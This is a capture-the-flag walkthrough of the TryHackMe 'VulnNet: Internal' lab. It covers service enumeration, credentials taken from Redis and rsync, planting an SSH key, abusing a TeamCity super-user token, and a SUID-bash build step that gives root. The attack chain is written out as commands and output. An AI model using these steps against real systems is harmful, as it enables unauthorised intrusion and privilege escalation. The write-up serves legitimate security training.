



VulnNet: Internal

VulnNet Entertainment learns from its mistakes, and now they have something new for you...

📶 ⌚ 45 min 👥 14,742 🌐

Reconnaissance

Nmap Scan

```
nmap -T4 -A -p- 10.114.130.196
```

Result:

```
22/tcp open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
111/tcp open  rpcbind  2-4 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
873/tcp open  rsync     (protocol version 31)
2049/tcp open  nfs       3-4 (RPC #100003)
6379/tcp open  redis     Redis key-value store
9090/tcp filtered zeus-admin
33843/tcp open  mountd    1-3 (RPC #100005)
36849/tcp open  nlockmgr  1-4 (RPC #100021)
37655/tcp open  mountd    1-3 (RPC #100005)
42213/tcp open  java-rmi   Java RMI
47749/tcp open  mountd    1-3 (RPC #100005)
```

Enumeration

SMB Share Listing

```
smbclient -L //10.114.130.196 -U smbuser
```

smbuser is a random username. We can also pass an empty password.

Sharename	Type	Comment
print\$	Disk	Printer Drivers
shares	Disk	VulnNet Business Shares
IPC\$	IPC	IPC Service (ip-10-114-130-196 server (Samba, Ubuntu))

SMB Connection

IPC\$

```
smbclient //10.114.130.196/IPC$ -U smbuser
```

```
farid@kali:~/Desktop$ smbclient //10.114.130.196/IPC$ -U smbuser
Password for [WORKGROUP\smbuser]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smb: \> █
```

Nothing useful in **IPC\$**

shares

```
farid@kali:~/Desktop$ smbclient //10.114.130.196/shares -U smbuser
Password for [WORKGROUP\smbuser]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Tue Feb  2 04:20:09 2021
..               D            0   Tue Feb  2 04:28:11 2021
temp             D            0   Sat Feb  6 06:45:10 2021
data             D            0   Tue Feb  2 04:27:33 2021

15376180 blocks of size 1024. 2265384 blocks available
smb: \> █
```

2 directories found in **shares**:

- temp
- data

/temp Directory

```
smb: \temp\> ls
.                D            0   Sat Feb  6 06:45:10 2021
..               D            0   Tue Feb  2 04:20:09 2021
services.txt     N            38   Sat Feb  6 06:45:09 2021

15376180 blocks of size 1024. 2265380 blocks available
smb: \temp\> █
```

/data Directory

```
smb: \data\> ls
.                D            0   Tue Feb  2 04:27:33 2021
..               D            0   Tue Feb  2 04:20:09 2021
data.txt         N            48   Tue Feb  2 04:21:18 2021
business-req.txt N           190   Tue Feb  2 04:27:33 2021

15376180 blocks of size 1024. 2265376 blocks available
smb: \data\> █
```

We can get all 3 text files with get command:

```
get <FILE>
```

We got our first flag (**services flag/services.txt**):

```
farid@kali:~/Desktop$ cat services.txt  
THM{ [REDACTED] }
```

First Flag: THM{ [REDACTED] }

data.txt

```
farid@kali:~/Desktop$ cat data.txt  
Purge regularly data that is not needed anymore
```

business-req.txt

```
farid@kali:~/Desktop$ cat business-req.txt  
We just wanted to remind you that we're waiting for the DOCUMENT you agreed to send us so we can complete the TRANSACTION we discussed.  
If you have any questions, please text or phone us.
```

Initial Access

We have NFS on port 111. Let's try to mount it:

- `mkdir mount`
- `sudo mount -t nfs 10.114.130.196: mount`

We got something:

/mount/opt/conf:

```
farid@kali:~/mount/opt/conf$ ls -l  
total 28  
drwxr-xr-x 2 root root 4096 Feb  2  2021 hp  
drwxr-xr-x 2 root root 4096 Feb  2  2021 init  
drwxr-xr-x 2 root root 4096 Feb  2  2021 opt  
drwxr-xr-x 2 root root 4096 Feb  2  2021 profile.d  
drwxr-xr-x 2 root root 4096 Feb  2  2021 redis  
drwxr-xr-x 2 root root 4096 Feb  2  2021 vim  
drwxr-xr-x 2 root root 4096 Feb  2  2021 wildmidi
```

We have **redis.conf** file in **/redis**. It's a big text file. So I tried to find some credentials:

```
cat redis.conf | grep -r pass
```

```
farid@kali:~/mount/opt/conf/redis$ cat redis.conf | grep -r pass
redis.conf:# 2) No password is configured.
redis.conf:# If the master is password protected (using the "requirepass" configuration
redis.conf:# masterauth <master-password>
redis.conf:requirepass "[REDACTED]"
redis.conf:# resync is enough, just passing the portion of data the slave missed while
redis.conf:# 150k passwords per second against a good box. This means that you should
redis.conf:# use a very strong password otherwise it will be very easy to break.
redis.conf:# requirepass foobared
```

Password: [REDACTED]

I got the password. So I can connect to redis with this password.

```
farid@kali:~$ redis-cli -h 10.114.130.196 -a [REDACTED]
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.114.130.196:6379> █
```

I did a little research about redis and its command. I was able to get second flag (**internal flag**):

```
10.114.130.196:6379> KEYS *
1) "tmp"
2) "internal flag"
3) "authlist"
4) "marketlist"
5) "int"
10.114.130.196:6379> GET "internal flag"
"THM{[REDACTED]}"
10.114.130.196:6379> █
```

Second Flag: THM{[REDACTED]}

I found some hashes:

```
10.114.130.196:6379> GET "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.114.130.196:6379>
10.114.130.196:6379> LRANGE "authlist" 1 10
1) "QXV0aG9yaXphdGlvbiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
10.114.130.196:6379> █
```

Hash:

QXV0aG9yaXphdGlvbiBmb3Igc nN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==

This is a **Base64** hash format. So I decoded it on <https://www.base64decode.org/> :

Decoded hash: Authorization for rsync://rsync-connect@127.0.0.1 with password [REDACTED]

I tried to connect rsync:

```
farid@kali:~$ rsync --list-only rsync://rsync-connect@10.114.130.196
files Necessary home interaction
```

There is a **/files** directory. I tried to list the content of **/files** using the password that I retrieved from hash:

```
farid@kali:~$ rsync --list-only rsync://rsync-connect@10.114.130.196/files
Password:
drwxr-xr-x      4,096 2026/05/10 07:13:39 .
drwxr-xr-x      4,096 2025/06/28 12:16:36 ssm-user
drwxr-xr-x      4,096 2021/02/06 07:49:29 sys-internal
drwxr-xr-x      4,096 2026/05/10 07:13:40 ubuntu
```

I listed the files in **sys-internal** and found user flag (**user.txt**):

```
farid@kali:~$ rsync --list-only rsync://rsync-connect@10.114.130.196/files/sys-internal/
Password:
drwxr-xr-x      4,096 2021/02/06 07:49:29 .
-rw-----        61 2021/02/06 07:49:28 .Xauthority
lrwxrwxrwx        9 2021/02/01 08:33:19 .bash_history
-rw-r--r--      220 2021/02/01 07:51:14 .bash_logout
-rw-r--r--    3,771 2021/02/01 07:51:14 .bashrc
-rw-r--r--       26 2021/02/01 07:53:18 .dmrc
-rw-r--r--     807 2021/02/01 07:51:14 .profile
lrwxrwxrwx        9 2021/02/02 09:12:29 .rediscli_history
-rw-r--r--        0 2021/02/01 07:54:03 .sudo_as_admin_successful
-rw-r--r--       14 2018/02/12 14:09:01 .xscreensaver
-rw-----    2,546 2021/02/06 07:49:35 .xsession-errors
-rw-----    2,546 2021/02/06 06:40:13 .xsession-errors.old
-rw-----        38 2021/02/06 06:54:25 user.txt
drwxrwxr-x      4,096 2021/02/02 04:23:00 .cache
drwxrwxr-x      4,096 2021/02/01 07:53:57 .config
drwx-----    4,096 2021/02/01 07:53:19 .dbus
drwx-----    4,096 2021/02/01 07:53:18 .gnupg
drwxrwxr-x      4,096 2021/02/01 07:53:22 .local
drwx-----    4,096 2021/02/01 08:37:15 .mozilla
drwxrwxr-x      4,096 2021/02/06 06:43:14 .ssh
drwx-----    4,096 2021/02/02 06:16:16 .thumbnails
drwx-----    4,096 2021/02/01 07:53:21 Desktop
drwxr-xr-x      4,096 2021/02/01 07:53:22 Documents
drwxr-xr-x      4,096 2021/02/01 08:46:46 Downloads
drwxr-xr-x      4,096 2021/02/01 07:53:22 Music
drwxr-xr-x      4,096 2021/02/01 07:53:22 Pictures
drwxr-xr-x      4,096 2021/02/01 07:53:22 Public
drwxr-xr-x      4,096 2021/02/01 07:53:22 Templates
drwxr-xr-x      4,096 2021/02/01 07:53:22 Videos
```

From nmap scan, we know we have ssh open. So I tried to connect via ssh with my local machine's public key:

- `cp ~/.ssh/<YOUR_PUBLIC_KEY> authorized_keys`
- `rsync authorized_keys rsync://rsync-connect@10.114.130.196/files/sys-internal/.ssh`
- `ssh sys-internal@10.114.130.196`

If you don't have any public key, you can create it with `ssh-keygen` command. Example: `ssh-keygen -t(example: ed25519)`

I got a shell with my public key:

```
sys-internal@ip-10-114-130-196:~$ id
uid=1000(sys-internal) gid=1000(sys-internal) groups=1000(sys-internal),24(cdrom)
sys-internal@ip-10-114-130-196:~$
```

Got the third flag (**user.txt**):

```
sys-internal@ip-10-114-130-196:~$ cat user.txt
THM{[REDACTED]}
sys-internal@ip-10-114-130-196:~$
```

Third Flag: THM{[REDACTED]}

Privilege Escalation

I found a directory at / called **TeamCity**. From further research, I found out that TeamCity runs on port 8111. I did ssh port forwarding to access TeamCity from my local machine. On local machine:

```
ssh -L 8111:localhost:8111 sys-internal@10.114.130.196
```

Then I accessed TeamCity web interface from my local machine:

```
http://localhost:8111
```



Log in to TeamCity

 **No System Administrator found.** 

Log in [as a Super user](#) to create an administrator account.

Username

Password

☒ Remember me

Log in

[Reset password](#)

Version 2020.2.2 (build 85899)

As we see it says **"No System Administrator found, log in as a Super user to create an administrator account."** I clicked **as a Super user** link:



Log in as Super user

Authentication token:

☒ Remember me

Log in

Version 2020.2.2 (build 85899)

It asks a token. So I tried the following command to find token:

TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	8446629153054945175	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	8446629153054945175	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	3782562596667957776	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	58126273777674625872	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	8494139184482786852	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	9121682479416228733	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	1184781491746205032	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	1766718408916667047	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	4029378408162878124	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	4029378408162878124	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	4029378408162878124	(use empty username with the token as the password to access the server)
TeamCity	ogs	catalina.out	TeamCity	Super user authentication	token:	4029378408162878124	(use empty username with the token as the password to access the server)

I found lines contain tokens. So I tried and one of them worked:

Getting started with TeamCity

There are no projects in TeamCity. To start running builds, create projects and build configurations first.

[+ Create project](#)

You may also want to:

- [configure email settings](#) to enable notifications,
- [manage licenses](#), and
- [add more users to TeamCity](#).

I started to create a project manually:

Create Project

From a repository URL

 Manually

Parent project: *

<Root project>

Name: *

test

Project ID: * 

Test

This ID is used in URLs, REST API, HTTP requests to the server, and configuration settings in the TeamCity Data Directory.

Description:

Create

Then clicked "Create" button:

Project "test" has been successfully created. You can now create a build configuration.

Name: *

test

Project ID: * 

Test

[Regenerate ID](#)

This ID is used in URLs, REST API, HTTP requests to the server, and configuration settings in the TeamCity Data Directory.

Description:

Default template: 

<No default template selected>

The template will be attached to all build configurations in this project and its subprojects unless redefined in a subproject.

 [Show advanced options](#)

Save

Cancel

Build Configurations (100 left)

Build configurations define how to retrieve and build sources of a project. 

 Create build configuration

Build Configuration Templates

Build configuration templates define settings that can be reused by different build configurations. 

 Create template

Subprojects

Subprojects can be used to group build configurations and define projects hierarchy within a single project. 

 Create subproject

Create Build Configuration

From a repository URL

Manually

Parent project:

test

Name: *

test

Build configuration ID: ?

Test_Test

This ID is used in URLs, REST API, HTTP requests to the server, and configuration settings in the TeamCity Data Directory.

Description:

Build configuration type:

Regular

Builds of a regular build configuration can have build steps and are executed on agents.

Hide advanced options

Create

General Settings

Version Control Settings

Build Steps

Suggestions

Show more »

Created one minute ago by Super user (view history)

View DSL

New Build Step

Runner type: Command Line

Simple command execution

Step name:

Optional, specify to distinguish this build step from other steps.

Run: Custom script

Custom script: *

Enter build script content:

1

A platform-specific script, which will be executed as a .cmd file on Windows or as a shell script in Unix-like environments.

Docker Settings

Run step within Docker container:

E.g. ruby:2.4. TeamCity will start a container from the specified image and will try to run this build step within this container.

Show advanced options

Save

Cancel

I selected **Runner type** as **Command Line** and added following command:

```
chmod +s /bin/bash
```

Then saved and run that build. This add **SUID bit** on **/bin/bash**:

```
sys-internal@ip-10-114-130-196:~$ ls -ld /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
sys-internal@ip-10-114-130-196:~$
```

I run following command to get root access:

```
/bin/bash -p
```

```
sys-internal@ip-10-114-130-196:~$ /bin/bash -p
bash-5.0#
bash-5.0# whoami
root
bash-5.0#
```

After getting root access, I easily got forth flag (**root.txt**):

```
bash-5.0# cat /root/root.txt
THM{[REDACTED]}
bash-5.0#
```

Forth Flag: THM{[REDACTED]}